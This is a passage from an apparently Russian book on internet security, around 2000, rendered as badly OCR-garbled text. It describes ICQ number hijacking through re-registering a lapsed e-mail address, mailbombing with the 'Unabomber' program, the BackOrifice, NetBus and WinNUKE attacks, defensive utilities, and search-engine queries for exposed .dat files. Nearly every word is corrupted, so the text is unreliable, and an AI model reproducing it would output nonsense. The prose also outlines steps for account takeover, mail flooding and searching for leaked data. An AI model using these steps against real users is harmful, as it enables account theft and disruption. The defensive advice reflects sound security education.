JIEHWIO TaKMX CaiiTOB, Kak www.uinforsale.com, — ero aBTopsl Ha 3arjiaBHOM
CTpaHulIe B Oe3areUIIUOHHOM TOHE YTBEPKIAIOT IIPUMEPHO TO XK€ CAMOE U,
KpOMe TOTO, T100aBISIOT: «...IIponucHas CTHHA: OTHOIIIEHNE K HOBUYKAM CO-
BEpIIIEHHO IPYroe, 4YeM K OIMBITHBIM MoJib3oBaTesaM Internet. Bee Bblliecka-
3aHHOE KacaeTCsl He TOJbKO OTAENbHBIX KJIMEHTOB, HO U (UPM B LIEJIOM,
[MO3TOMY HYXKHO HEMPEMEHHO 3a00TUTHCS O PEMyTAallMid CBOMX KOMITAHMIA
B CeTu».

YecTHO TOBODA, €IIIe He TTPUXOINIOCH CIIBIIIATH O PUPME, COTMIHOCTD
KOTOpPOIi cTaBUjIach ObI IO COMHeHMe n3-3a HoMmepa ICQ, ogHaKo ocTaBUM
MMOJOOHbIE 3agBJIEHNA Ha COBECTA aBTOPOB, HAyYMBIIMXCH 3apabaThIiBaTh
JIEHBIH ITyTEM TTPOIAXKI KOPOTKHUX 1 Jierko 3anoMrHaeMbiXx UIN. B koHTekcTe
JAHHO TeMBI Hac 60Jiee BCEro MHTEPECYET SeCurity-acreKT pruoOpeTeHN Ta-
KOO HOMEpa.

Hrak, Kakue xe IeHCTBUS PeAITPUHUMAIOT arpeccophbl I TOTO, YTO-
OBl y3HATh 3aBeTHYIO KoMOMHauio nudp? Ha camom nmene Bce oueHb IPOCTO.
Kaxnomy Brmamenbly Internet-meitmkepa M3BECTHO O TaKOM BO3MOXHOCTU
MPUIOXKEHMSI, KaK J00aBlIeHNe HOBBIX KIMEeHTOB. [Ipu 3TOM Iouck 1o 6ase
naHHbIX ICQ MOXKeT OCYIIECTBISATHCS 10 UMEHU, aIpecy JIEKTPOHHOM ITOYTHI
wi UIN nonb3oBaTesss. DTU CBeASHUS SIBIISIIOTCS 00513aTEIbHBIMU IIPU PETr-
cTpanuu Ha cepBepe Mirabilis 1 ToaTOMY BCera TOCTYITHBI KaxkA0MY ITOKJIOH-
HUKY «T€TH ACH».
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OCHOBHBIM  TapaMeTpoOM  37eChb, KOHEYHO Xe, sBjsieTcs
e-mail, Tak Kak /1 TPUCBOECHUS Uy>KOTO HOMEpPA B PETUCTPAILIMOHHYIO0 (HhOpMY
Hy>kHO BBecTM UIN um maponb monn3oBateisi. Ho eciu ¢ UIN cutyanus
MOHSTHA, TO TTAPOJb MOXHO MOJYYUTD JIUIIL YepPe3 CTPaAaHULY Www.icq.com/
password, 4TO BeCbMa 3aTPYIHUTEJbHO, Pa3Be YTO MOJIb30BaTE b ObLI 1OCTa-
TOYHO HEOCTOPOXKHBIM U MO3BOJIUJ YCTAHOBUTD B CBOEH CUCTEME «TPOSTHCKO-
ro KoHsl» wiu key logger (mporpaMmy, CO31aHHYIO HEKUM «100pOXeIaTesemM»,
KOTOpasi KOHTPOJMPYET paboOTy KJIAaBUATYPhl U 3aMMChIBAET JaHHbIE 000 BCeil
BBEICHHOM MH(pOpPMALUU B OTACJIbHBIN (aiin).

Ecmm nipu peructpauum ICQ ykasaH agpec 3J1eKTPOHHOM MTOYTHI, TIPH-
CBOCHHBII BaM HaJIeKHBIM 1 TIPOBEPEHHOM B JIeJIe TIPOBAIepOM, TO CUUTAIITE
CBOI1 ciTydaii 6osiee-MeHee 6e30macHbIM. Eciy ke B peructpaiinoHHoi hopme
YUCIIATCS afipec KaKOW-TO OECTUTATHOU CITYXKOBI, TYT CETEBbIE «DKEHTIIEMEHBI
yIaur» HAYMHAIOT JOBOJBLHO MHTEPECHYIO «UTpy». OT Balllero MUMEHW MHOXKe-
CTBY KJIMEHTOB PACCHIIAIOTCS COOOIIEHUS PEKIIAMHOTO, a TIOPOU 1 OTKPOBEH-
HO TTOpHOTpachuIecKoro copepxkaHus. [1ocie HeCKOTBKUX THICSY TaKUX T -
CeM HEKOTOpBIE TOJb30BaTeIM (a WHOTJA M CaM arpeccop), eCTECTBEHHO,
BO3MYTSITCS TIONOOHBIM HapyIIEHHUEM CETEBOTO 3TUKETA, O YeM He 3aMeJIIsT
COOOIIUTH KOMITAHWH, TIPEIOCTABIISTIONIEH YCIIyTH OeCIIaTHOM IMTOYTHI.

B pesynbrare Baiil aapec, cKopee BCero, yaalsaT 0e3 KaKUX-JIM00 Ipeny-
MpeXaeHUii (KCTaTH, JOBOJIBHO HEIBYCMBICICHHBIE BHICKAa3bIBAHUS KacaTelb-
HO pacChUIKM peKIaMHOM MHGopMaluu coiepxkarcsa B Service Agreement
MPaKTUYECKU KaXKIoro OecIuiaTHOro ceppepa). bes kakoro-aubo mnpomemnie-
HUSI TOYHO TaKOM Xe aapec e-mail OyaeT 3aperucTpupoBaH Ha MMsI BallleTo
«100poKeaTesss», KOTOPBIi ¢ ToMoIbio cy>k0bl Forgotten Password Ha caii-
Te ICQ n1o0yneT «3a0bIThI ITapOJib» Ha BCE TOT XK€ 3HAYAIIUIICS B CUCTEME al-
pec 2JIEKTPOHHOM TMOYTHI, OAHAKO YXe MPUHAIEXKAIINI IPYTOMY YeJIOBEKY.

CyLIECTBYIOT JIM KaKHWe-TO MepbI MPOTUBOMAECTBUS MOJOOHBIM ara-
kam? Kak yxe ObUIO CKa3aHO BbIILIE, YKa3aHUE alpeca, BbIIaHHOTO MpoBaiiie-
POM, CYILIECTBEHHO YMEHBIIAET BO3MOXHOCTh 3aKPBITHSI IIOYTOBOIO SIIIUKA
0 He 3aBUCSIIMM OT Bac MpUYMHaM. Bynmer Takxke He JUIIHUM yCTAHOBUTH
00s13aTeIbHYI0 aBTOPU3ALIMIO ISl BCEX, KTO KeJIaeT J00aBUTh Ballle UMsI WA
Huk B cBoii Contact List. KpoMe Toro, He BeauTe MpOCTpaHHBIX Oecell ¢ He-
3HAKOMBIMH JIIOIBMHU, OCOOEHHO KOIJIa OHU IIpeUIaraloT BaM BhICJIATh MHTE-
pecHble (haiiyIbl UM HY>XKHbIE TIPUIOKEHUS.

TsokeAast APTUAAEPUS

Ataku no e-mail Ha CerogHSIIIHUI T€Hb OCOOEHHO HEMPUSTHBI IS
MOoJIb30BaTeieil OeCIUIaTHBIX MOUYTOBBIX YCIYTr (M3-3a OrpaHUYEeHMsI oObema
IMOYTOBOTO SAIIIMKA), a TAKXKe JJISI TeX, KTO MoAKIouaercs K Internet rmo kom-
MYTUpPYeMOIi TeJIe)OHHO IMHUM (KaK U3BECTHO, BPEMST — JCHBIH).
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ITouToBast GomMbapapoBKa, niau mailbombing, sIBJsSIETCSI OMHUM U3 ca-
MBbIX IPUMUTUBHBIX BUJOB KOMITBIOTEPHBIX arpecCUii M MpakTUYeCKU He MpH-
MEHSIETCSl BBICOKOKJIACCHBIMU B3JIOMILMKaMU. IIpu Takoi arake Ha 3j1ek-
TPOHHBI aapec TOJb30BaTeNsd OTChUIAETCA OOJIbIIOE KOJIUYECTBO
coobuieHuii. Ee rmaBHas 1iejib, Kak MpaBuio, — 3acopeHue sIuKa Uiu Bbl-
HYXJIEHHOE «3aBUCaHUe» cepBepa MpoBaiiziepa, MbITAIOIErocsl CIIPaBUTHCS CO
BCEM 3TUM «XJIAMOM>», TIOCTYIAIOIIUM B aIpeC KEPTBHI.

[MpakTnuecku 110001 MOJIB30BATENb, MAJIO-MaIbCKM 3HAKOMBIHN C OC-
HoBaMu paboThl B Internet, MOXeT cTaTh aBTOPOM Takol arpeccuu. st mpu-
Mepa pacCCMOTPUM OJTHY U3 CaAMbIX PaCIpOCTPAaHEHHBIX ITPOTrpaMM MOA00HOTO
tnia — The Unabomber. Kak BumgHo u3 ee mHTepdeiica, Bce, 4To TpeOyeTcs
3HaTh MOTEHLUAJTLHOMY TEPPOPUCTY, — 3TO AJPEC CepBepa, MO3BOJISIIOLIETO
AHOHVMHYIO OTMPABKY COOOIIEHWI 3JEKTPOHHOMN MOYTHI, U allpec KEPTBHI.
[Tocne BBoma Kakoro-im6o Tekcra B mmosist Subject 1 Message 1 HaxXaTusi KHOTI-
ku Begin Mailing mporpamMmMa HayHeT OTCBLIKY IMOYTOBBIX cO00IIeHM. Komu-
YeCTBO OTIPABJIEHHBIX MHUCEM yKas3bIBaeTcsl B 1ojie Number U MoXeT 3ama-
BaTbCs (PAKTUUECKU JIIOOBIM 12-pa3psiIHBIM YKCIIOM.

Kaxk ke yoepeubcst ot mouToBbIX atak? [Ipexae Bcero, HamOMHUM, YTO
MPUMEHSTH TaKy10 TporpaMmy OyayT «rope-CreruanaucThbl 10 XaKuHTy», ypo-
BEHb 3HAHUI KOTOPBIX OCTABJSIET XeJaTh Jyuluero. [Toatomy npotuBoaeii-
CTBMEM HOMEpP OJIUH JIOJKHO CTaTh 3JIEMEHTApHOE MPAaBUJIO: YETKO OCO3Ha-
BaTh, KOMY U 3a4€M BbI COOOIIIaeTe CBOU 3JIEKTPOHHBII aapec.

B kauecTBe mperpaiabl IisI MA2UIOOMOMHIAa MOXET BBICTYIATh
u Web-caliT npoBaiiiepa, MHOT/Ia HACTpaMBaeMblii TAKUM 00pa3oM, YTOObI OH
aBTOMATUYECKU OMPEAEIISiI IOUYTOBbIE aTakv. B OOJIBIIMHCTBE CIy4yaeB OHU
pPAcCIIO3HAIOTCS CEPBEPOM IIOCPENCTBOM CpaBHEHUs MCXOmHbIX IP-agpecos
BXOJSIIIUX cooOIIeHUH. Eciu KonyecTBO COOOIICHMIT U3 OTHOTO MCTOYHUKA
MPEBBIIIAECT HEKWE pa3yMHbIE MPEIEJIbl, TO BCE OHM aBTOMaTUYECKU ITOCTyIa-
10T B Recycle Bin Ha cepBepe. KoHeuHO ke, HUUTO HE MEIIaeT 3JI0YMbIIIICH-
HUKY (anbcuduimponaTh coocTBeHHBIN [P-agpec, ogHako Te, KTO B cuiax
COBEPULINTH ITOJOOHOE, HABEPHSIKA HE CTAHYT IMPUOEraTh K TAKOMY IPUMUTUB-
HOMY CITOCOOY aTaku.

IMpunoxenue BombSquad momoxeT pacuMCTUTD MOYTOBBIN SIIMK TT0-
cJie COBEpILIeHUs HammaaeHus. BMecTo 3arpy3ku Bcex COOOIeHUI TTporpaMma
JIOCTAaBUT JIMIIIb OTIPEAeSICHHOE KOJTMIeCTBO nuceM. [1poBeast ux COpTUPOBKY,
BBl CMOXETE OTHCJIUTh HYXXHYIO TIOUTY OT mail-60M0 ceTeBOro TeppopucTa.
st TeX, KTO MPEIITOYUTAeT YUTATh 3aT0JJIOBKY JIEKTPOHHBIX ITMCEM Ha CepBe-
pe Tepen 3arpy3Koil MOUYThI Ha KeCTKUI TUCK, CYIIECTBYEeT BO3MOXHOCTD yaa-
JIEHHS BCEX JIMITHUX COOOIICHUIA 63 TOCTaBKU Ha CBOI KOMITbloTep. OmHaKo
MpY GOJILIIIOM KOJMYECTBE TOUYTHI TAKOW CITOCOO BPSI JIM yA0OeH. X0odeTcst
TaKXe HAITOMHMTb, YTO, COTJIACHO YKPAMHCKOMY M POCCUICKOMY 3aKOHOAA-
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TEJIbCTBAM, MTOYTOBBIC aTaKW MOTYT OBITh paclieHeHBI KaK YrOJIOBHBIC TIpe-
crymwieHust. B CoequHenHbix Illtatax momoOHbBIe NeiCTBHsI, TTOBJIEKIIVE 3a
c000i1 cpbIB pabOTHI cepBepa MpoBaiiiepa, CUMTalTCs GenepaibHbIMU Tpe-
CTYIUICHUSIMM 1 TIepenaloTcst Ha paccMotpenre B OBP.

M BHOBb NpoAoAXaeTcs 6ou!

EctecTBeHHO, Bce pacCMOTpeHHbIE BhIle BUIABI Internet-arpeccuii Mo-
I'YT JOCTaBUTD TOJIb30BATESIM OIpeAeIeHHbIE TPOOIEMbl, OTHAKO HU KPaxy
UIN, H1 moYTOBYIO0 60OMOApAPOBKY HEJb3s paclieHUBaTh KaK CEPbe3HOE MO~
KylIeHWe Ha Ballly KOMIIBIOTEPHYIO CUCTeMy. ATakd TNMpodhecCUOHATbHbBIX
B3JIOMIIIMKOB UMEIOT O0Jiee U30LIPEHHBIN XapakKTep, MPU 3TOM YUUThIBAETCS
TICUXOJIOTHSI XKEPTBBI, aKTUBHO UCTIOJIb3yeTCsl MHGOpMaLus o crielinbuKaim
npotokojioB TCP/IP, Ha koTopbix nocTpoeHa Internet. [lajgee Mbl paccKaxkeMm
0 TOM, KaK TTOTOOHBIM I€MCTBUSIM MOXHO TIPOTUBOCTOSITh.

CornacHo brosutereHto naboparopruu MHGOPMAIIMOHHBIX TEXHOJIOTUI
NIST, nHaubGojee TONMyIAPHBIMU aTaKaMU Ha TOJb30BATEIbCKHE MAIIWHBI
CUMTAIOTCS:

* YCTaHOBKA BUpYca Ha KOMITBIOTED KEePTBbI C TTOMOIIIBIO
nepemaun daiina mo 1CQ;

* npumeHeHue BackOrifice 1 NetBus — npoayKToB pa3inyHbIX
XaKepCKUX PYII, MO3BOJISIONIMX MMOTy4aTh HEOTPAaHUYEHHBIA
JIOCTYM K YIaJIeHHO! cucTeMe, €CIM Ha Heil yCTaHOBJIeH
«TPOSIHEe1I»;

* NepenoyHeHue paboyero TeJIeKOMMYHUKAIIMOHHOTO KaHaja
MOJIb30BATEJISI ITYTEM OTCHIJIKM €My OTPOMHOTO KOJIMYECTBA
TCP-nakeToB ¢ moMeTKoi «cpouHo» ¢ momoibio WinNUKE.

Tenepp 6osiee MOAPOOHO OCTAHOBMMCS Ha KaxKIOM U3 HUX.

[Tporpammbl BackOrifice u NetBus, Oyny4u ycTaHOBJIEHHBIMU Ha KOM-
MbIOTEP, OTKPHIBAIOT YAAJEHHBIN AOCTYI K daiiam sl TeX, KTO 3apaHee Mo-
3a00TUIICS O «IIPOTUCKE» STUX «TBOPEHUI» B Baiuei cucteme. Obe oHU Mo-
JIOOHBI MEJIKOMY BOPHILKE, KOTOPBIY MPOHUK B YYXKOH IOM U CIIPATAJICS O[T
KPOBATbIO, YTOOBI TOTOM, KOTJla HACTYITUT HOYb, OTKPBIThH AIBEpU OoJiee cepb-
€3HbIM M MacTUThIM OaHauTaM. BackOrifice, Hampumep, 3aHOCUTCS B NU-
pektoputo Windows, OTKyza Jierye BCero MoJiydYuThb JOCTYM K BaXKHBIM CH-
creMHbIM aiiam. BackOrifice m NetBus cerogHsi o0OHapyXuBawT
1 00€3BPEXUBAIOT MPAKTUYECKN BCE AaHTUBUPYCHBIE MAKETHI.

CylIIecTBYIOT TaKKe M IPyTHe MPOrpaMMBbl, CITOCOOHBIC 3aIlIUTUTh Ba-
Ty CUCTEMY OT TTOTOOHBIX «TPOSTHCKMX KOHEM».
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Yrunuta NOBO (ee HazBaHue rpoucxonuT oT «No BackOrifice») He-
MPEPHIBHO KOHTPOJIMPYET COOTBETCTBYIOIIME MOPTHI HA MPEAMET MOCTYyILIe-
HMSI B CUCTEMY TAHHOTO BUpPYCa, XOTs B 0011IeM OHa pearupyeT Ha JIloOoro po-
na «rmopo3putenbHbie» TakeTbl. [Ipu 3TomM NOBO BblgaeT cooOleHHEe O
MOJIy4eHUU 0JI0KA JAHHBIX HEM3BECTHOTO MPOUCXOXICHUS U TYT Xe 3aKpblBa-
€T TOPT, MPeAOoTBpalliasi TeM CaMbiM BO3MOXHOCTb MPOJIOJIKEHUs aTaku. 3a-
TeM Mporpamma 3anuceiBaet B log-daiin nanHbie o6 [P-agpece arpeccopa (ko-
TOpble MOTYT ObIThb chanbcubUIMPOBAHbI, HO 3TO YK€ COBCEM Apyras
ucropusi). B ciayyae moBTOpeHUsI MHUMAEHTA 3TY MHGOPMAIIMIO HYKHO Mpe-
JIOCTaBUTb CBOEMY MpOBaliIepy.

ITporpamma BODetect mpoBepuT Bee Bally 3KeCTKME TUCKU HAa HAJTMYKE
BackOrifice. Takum 00pa3om, KOMOMHAIIMEH 3TUX ABYX YTUJIUT YOIOOHO ITOJIb-
30BaThCs IIPU 9acToi padbote B Internet: ¢ oaHOM CTOPOHBI, BBI MOXETE KOHTPO-
JINPOBATh JABMKEHME TTAKETOB K BallleMy KOMITBIOTEPY, C APYTOil — MepUOANYe-
CKU 3aImyCcKaTb aHTUBMPYC, HAyUeHHBI pacro3HaBath uMeHHO BackOrifice.

CxaHepoB MOPTOB, MPEMATCTBYIOIINUX TPOHUKHOBEHHUIO B BAllly CUCTE-
MY JIpYTOro, He MeHee OINAaCHOI0 «TPOSHCKOTo KoHs» NetBus, Takxke cyie-
CcTByeT 10BoJIbHO MHOrO. [1akeT NetBuster, Hanpumep, IpeKpacHO CIIPaBUTCS
¢ 9Tol1 3agayveit. boyee Toro, mpu arake Ha Bail Kommnblotep NetBuster Oyner
YMBIIIUIEHHO OTBEYaTh Ha 3allpOChl arpeccopa, co3aaBasi TEM CaMbIM BIieyaT-
JIEHME, YTO BUPYC HamexXHo ycraHoBieH Ha BamieM I1K. B utore Bpems, mo-
TpaueHHOE B3JOMIIMKOM Ha Oe3yCHellIHbie MOMBITKY TMOJYYUTh JOCTYI K
KOMIIBIOTEPY «<KEPTBbI», YBEJIUYUTCS, UTO, B CBOIO OUepeb, MOXET MTOMOYb
CMeIMAJIICTaM HAaMTH peaTbHbIii MCTOYHMK Yrpo3bl U MAEHTU(DUIIMPOBATH
KOMIIBIOTED, C KOTOPOTO MPOU3BOIUTCS aTaka.

W HakoHell, elle OAWH BUI KOMITBIOTEPHOW arpeccuM, 3acily>KuBa-
IOLIMI OTHEJIbHOTO Pa3roBopa, — aTOMHAsl aTaka, WU MPOCTO «HBIOKWHI»
(nuking). IlporpamMMbl TakKoro poja, MCMOJb3ysl HEKOTOPbIe OUIMOKU
Windows, OTCBLIAIOT Ha aapec KepTBbI 00JIbIIOE KOJIUYECTBO CPOUHBIX MAKe-
TOB, YTO B KOHEYHOM UTOTE MPUBOAUT K «3aBUCAHUIO» KOMITbIOTEPA, a B HEKO-
TOPBIX CJIy4asiX U K MOBPEXACHUIO €ro CUCTeMHBIX (daitioB. OCHOBHAsI onac-
HOCTb MOJOOHBIX MTPOrPaMM 3aKJII0UYAETCS B UX PA3pYIIUTEIbHON CUIe U B TO
K€ BpeMsl MPOCTOTE UCTOJb30BaHUSI.

[MoTeHMaTEHOMY TepPOPUCTY JUTSI aTaku yepe3 Internet ¢ mMOMOIIbIO
WinNUKE HyxHo 3HaTh To/IbKO Baiil [P-ampec.

Kakue e Mepbl MPOTUBONEUCTBUS CIEAYET MPEANPUHSITL B JAHHOM
cayuae? IIpexne Bcero crapaiitech, YToObI Balll IP-ampec ObuT M3BeCTEH Kak
MOXHO MeHblIeMY Kpyry jJtofeit. OCHOBHbIE KaHaJIbl yTeUKu MHbOopMaluu 06
IP-anpece — uvarbl u ICQ. Urto Kacaercs «tetT AC» — M03a00ThTECh O TOM,
4yTOOBI BO BKIanake Security B mosie IP Bcerma mosmasiiack Haanuch «N/A»
(Not Available — HegOCTyIHO).
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Kpome Toro, o6paTrTe BHUMaHUE, HACKOJBKO JICTKO Ballle NMsI MOXKET
JI06aBUTh B CBOM CIMCOK Apyroii nojs3oBatesb [CQ. He Gynet auiiHuM orpa-
HUYUTH KPYT MOTEHUMATbHBIX ApYy3eil. XOTsl Bce 3TU MEPbl JOBOJbHO-TAKU
KocMeTu4ecKue... CymecTBYIOT MPOrpaMMBbl, CIIOCOOHBIE PacIio3HAaBaTh
IP-anmpec maxe Tex BiameibieB ICQ, KOTOpbie MPEITTPUHSIIN BCE MEPHI Ipe-
JIOCTOPOXHOCTUA. VIMEHHO MO3TOMY B GOJBIIMHCTBE CEPhE3HBIX KOMIAHUI
HCMOJIb30BaHUe JAHHOMN MOMYJISIPHOM MPOrpaMMbl 3apelleHo.

Ho maxe ecau teppopucty ymanoch 3aBianeTth [P-agpecoM, dro, Kak
MBI YOeIWJIMCh, CAeaTh BeCbMa HECJIOXHO, 3TO €Ille BOBCE HE SIBIISICTCS
«OKOHYATETbHBIM TTPUTOBOPOM» Ballleil CUCTEME. «ATOMHBIX aTakK» TTOMOXET
n36exarb mporpamMa Nuke Nabber. OHa HenpepbIBHO CKAaHUPYET OTKPHITHIE
MTOPTHI KOMITBIOTEPA, MTOAKITIOUeHHOTO K Internet, u mepexBaTbhIBaeT MaKeThI,
HCTIOJIb3yeMBble T aTaku. JKenarolive mooosbliie y3HaTh 06 3TOM TEXHOJIO-
MU MOTYT TTOYMTATh OTBETHI Ha 9aCTO 3aaBaeMble BOITPOCHI MO TPUMEHEHMIO
Nuke Nabber. [Iporpamma pacnpocTpaHsieTcs Kak freeware, Iocjie MHCTaJUISI-
LIMM SPJIBIK Ha Hee XelaTebHO YCTAaHOBMTH B IMANKy ABT03arpy3ka MEHIO
Ilyck, s Toro yToObI KaXIblii pa3 mpu 3arpy3ke koMmmbiorepa Nuke Nabber
3arycKajach aBTOMaTUYECKH.

MHorue, BO3BMOXHO, CITPOCST: 3a4e€M HY>KHO ObLJIO MPUBOIUTHL Ha3Ba-
HUS TIpOrpaMM, TMpeTHa3HaYeHHbIX Ui KOMIIBIOTEpHBIX atak? Beab B pykax
arpecCMBHO HACTPOSHHOTO MOJIb30BATENIsI OHU CTAHYT HACTOSILIIUM OPYXXKHEM U
MPYBEIYT K HEeXeNaTeJbHBIM MOCIEACTBUSM, TeM O0Jiee YTO MPUHILIMITBL KC-
MOJIb30BAHUS YIIOMSIHYTHIX TTPWIOXKEHUI, KaK Mbl YCIIEIU YOeIUThCS, MOTYT
03a7aurTh pa3Be uTo AOLIKOAbHMKA. OnHaKo, Kak roBopmi CyHbII3bI B TPaK-
Tate «McKyccTBO BOliHBI»: «TOT, KTO 3HAeT Bpara U 3HaeT ce0sl, He OKaXeTCs
B OIIACHOCTU U B cTa cpaxkeHusix. TOT, KTO He 3HaeT Bpara, Ho 3HaeT cebs1, 0y-
JIeT TO ITo0exXaaTh, TO IIPOUTPHIBaTh. TOT, KTO HE 3HAeT HU Bpara, HU ce0s1, He-
130eXXHO OymeT pa3douT B KaxKI0M CpaxKeHUW».

'naea 10.
NMounckoBbie MALLUUHBI

B nocnennee BpEMs ITOJTYYUIN JOBOJIBHO IIMPOKOE paClpoOCTpaHCHUE
IIPOCTCHBKUEC YTUIUTDI, ITO3BOJIAIOIINE MPEOA0JIEBATDh 3AIIUTY ITYTEM Hepe6o—
pa napoJieit. MMeHHO OHUM M OTBJIEKJIM BHUMAaHUE HE TOJBbKO HayMHamux,
HO UM OIIBITHBIX XaK€POB OT TAKOI0 MOIIIHOTO 1 O6H_ICI[OCTYHHOF0 NUHCTPYMCH-
Ta, KAKUM ABJISACTCA 00BbIYHAS TTOMCKOBAs MalllMHa.

IIposiBUB HEOONBIIYIO M300pPETATEIABHOCTD, 000K IT0JIb30BaTENb
Internet cyMeeT ¢ MOMOIIbIO TAaKOM MaIlIMHBI 000 TH 0a30BYIO 3aIIUTY, IIpe-
JlyCMaTPpUBAIOIIYIO0 UCTIOJIb30BAHME TIAPOJIs, U MOJYYUTh TOCTYIT K TAKOMBIM
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KyCOYKaM TE€X CaIL/'ITOB, AIMUHUCTPATOPBLI KOTOPBIX OKA3aJIMUCh CTOJIb JIETKO-
MBICJICHHBIMU, YTO AOIIYCTUIN UX pa3MCIICHUEC UMCHHO TaM. Ecnn xakas-
ambo nMmewIiasga LHEHHOCThb I/IH(l)OpMaHI/IH HaxXOOgUTCs Ha Web—CTpaHI/IL[e,
OTbICKATh €€ CMOXET Ka)KZ[bIIL/'I. HeKOTOpBIe XaKe€phbl HAXOOAT NaHHBINA CcIIoco0
NUCKIIIOYUTEIIBHO y,Z[O6HBIM. «YCIOXHEHHBIN 3aIlpoc Ha MOMCKOBOM Mallu-
HC, — OCJIUTCA CBOUM OIILITOM OJMH U3 HUX, — AA€T BaM BO3MOXKHOCTb yKa-
3bIBaTh B HEM paCIIUMPCHUA (l)aIL/'IJ'IOB N OCYHICCTBJIATDL IMMOUCK CalTOB U KaTa-
JIOTOB, B Ha3BaHUSAX KOTOPBIX MMEIOTCS Takue cloBa, Kak index of, admin
WIN customer, U KOTOpble COAepXaT, HallpuMep, (Gaiisibl ¢ paclupeHueM
.dat».

HenaBHO Ha cepBepe OTHOTO JOBOJBHO KPYITHOTO aMEpMKaHCKOTO
IpoBaiiiepa 3TUM CIIOCOO0OM OBUT OOHapykeH aiin data.txt, comepxKaruii
daMmwIm U UMeHa, agpeca, HoMepa KapTouyeK COLMAIBHOIO CTPAXOBaHUS U
MOAPOOHbBIE 3aIMCU CUETOB KPEAUTHBIX KAPTOUEK HECKOJBKUX COTEH YeJio-
BEK, IPUYEM BCE 3TO ObLIO HAMCAHO OTKPBLITHIM TeKCTOM. OKa3ajioch, UTO
daitn mpuHamIeXam KOMMEpYeCKOMY CaiiTy, pa3MellleHHOMY Ha cepBepe
panee. Ilpu 3aKpBITHM caiiTa €ro BJIAAENbIbl U3-3a HEOPEXKHOCTU OCTABUIIN
rnocje cebss HecTepThIMU YacTh Web-CTpaHul], HEKOTOpbIe U3 KOTOPHIX CO-
JIep>XaIu B BBICIIEH CTeIeHN KOHMUICHINAIbHY0 nHopMmanuio. [TepBoHa-
YaJIbHO BCS 3Ta MH(pOpMaIus Obljia Co31aHa TPUKJIIATHOM ITPOrpaMMON, TIpe-
Ha3HAYE€HHOM [Ji1 paboThl C IJIACTUKOBBIMU KapToukaMu. Kak TobKO
JaHHBINA (aKT MOJYUUIT OIJIACKy, MH(pOpPMAaLIKs, eCTeCTBEHHO, ObUla HEME/I -
JIEHHO yaJieHa.

Kak xe 3ToT crmoco6 rmoucka padbortaeT npakrudecku? B kayecTBe nmpu-
Mepa BO3bMEM IIIMPOKO M3BECTHYIO ITorckoBylo MalinHy HotBot. I1pu Haxa-
TUU KHOIIKU «YCJIOXKHEHHBIM 3arpoc» Ha TJIaBHOM CTPAaHULIE 3TOM MalllMHbI
BaM OyzeT IpeaIoXeH LieJIblii Habop BecbMa 3aHUMaTeIbHbIX onuuii. Het He-
00X0AMMOCTHU OBITh BUPTYO30M I10 MCIIOJIb30BaHUIO OYJIEBLIX ONEPaTOPOB —
repen BaMy CUMIIAaTUYHOE MEHIO OOIILero 1LII030Boro uHtepdeiica. Beeaure
cioBa admin u user 1 HaGepuTte B nosie «file types» pacimupenue .dat. Cpabo-
Taet npeBocxonHo. [Ipuyem Bce 3TO HACTONIBKO MPOCTO, YTO TMOA CUITY axe
pebenky. Bo3amoxkHocTu mpocTto 6ecripeaeabHbie. ETMHCTBEHHBIM OrpaHUYe-
HUEM SIBJISIIOTCS BalllM CIIOCOOHOCTU K TBOPYECTRY.

HTepecHO OTMETUTh, YTO KOMITaHMsI Lycos He HaMepeHa MO GbUIIN-
poBath MOMCKOBYI0 MamuHy HotBot ¢ Tem, 4T0OBI 6JIOKMPOBATMCH HEKOTO-
pbIe TUIBI hailtoB. XOTs y KOMITAHUY 1 BBI3bIBaET 03a00UYeHHOCTD ITOSIBJICHUE
B Internet 1o cymiecTBy He3alIUIIEHHOW KOHGUICHIIMATLHOU MHGMOPMAITUH,
OHa CYWTAET, YTO MOUCK IT0 TUIY (aiiia SBISICTCS MOJIe3HON XapaKTepUCTH -
KOif MarmmmHBI. YTO Xe KacaeTcs 3alUThl TaHHBIX, TO 3TO, IT0 MHEHHIO Lycos,
IIEJTMKOM M TTOJTHOCTBIO Ha COBECTH OIIePaTOPOB, KOTOPHIE HE TOJDKHBI TIOME-
aTh MOA0OHYI0 MHGOPMALIUIO Ha 0011Ie10CTYTHBIX Web-caiitax.
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Bcem, KTO cTpeMHTCST K MAaKCHUMAaTbHOMY MCTIOJTb30BAHIIO BO3MOXKHO-
CTeii MOMCKOBBIX MaIllMH Internet, MOXHO MaTh OECIIAaTHBINA COBET ITOCETUTh
yacTHBI Web-caiit fravia+, Ha KOTOPOM MMEIOTCS MPSIMO-TaKKM POCCHIITH OT-
HOCSIIIEICS K 3TOMY BUIY 3aHATUI MHGOPMAIIUU. 34eCh 3Ke Mbl OTPaHMIUMCST
OYKBaJIbHO HECKOJIBKMMU LM paMu, (DaKTaMH U peKOMEHIALIASIMHU.

O06bem nHbopMaIMu, KOTOPBI JOCTYIIEH MoJib3oBaTtesto B Internet’e,
MMeeT COBEpIIeHHO HeBOoOOpa3uMbie pasMepsl: B Mae 2000 roga Tam GBUIO yke
okoJo 1,7 mupa. Web-ctpanuil. M 3ToT 00beM pomoizkKaeT BO3pacTaTh HEBe-
POSITHBIMU TEMITAMMU, YIBAMBAACh UyTh JIX HE 3a TToJiroja. B HacTosee BpeMst
KaX[Iblii IeHb MOsIBJIsIETCs 6oJiee 3 MJTH. HOBBIX cTpaHull. Kak Xe neiicTBoBaTh
MOJIL30BATEJII0, YTOOLI HABEPHSIKA HAUTHU TO, 4TO eMy Hy:XkHO? IlepBhlii 1 ca-
MBI TJIABHBIN BOIIPOC — Te UcKaTh? OKa3bIBaeTCs, OOJBIIYIO YacTh MHPOP-
MallUM CeMuac yXe HeJIb3sl HAWTU, UCIOJIb3Ys «KJIACCUUECKUE» TTOUCKOBBIE
mamuHbl. Camas MonrHas u3 Hux B cepennte 2000 roga oxBaThIBaIa JIMIIb I~
CATYIO YacTh Bcero oonema Internet. Bosiee Toro, 3T MalnHbBI HE TTPOBOAAT
MHAEKCALMI0 OUeHb MHOTUX MHTepecHbIX MecT B CeTu. Kak mpaBuiio, oHu co-
JiepKaT CChIIKU MPEUMYIIECTBEHHO HA KOMMEPUYECKUE CANThI U CTOJIb JIFOOU-
Mbl€ «9ailHUKaMU» MHOOPMALMOHHKIE CEPBEPHI.

Bce mouckoBble MalllMHBI UMEIOT CBOM IOCTOMHCTBA U HENOCTATKHU.
IToatomy 6eccMBICTIEHHO UCTTONB30BaTh OAWH U TOT XK€ TOMCKOBBIN MEXaHU3M
(ckaxem, Altavista) mist HaxoXneHus1 pa3HopoaHol nHpopMaiuu. [1pu aTom
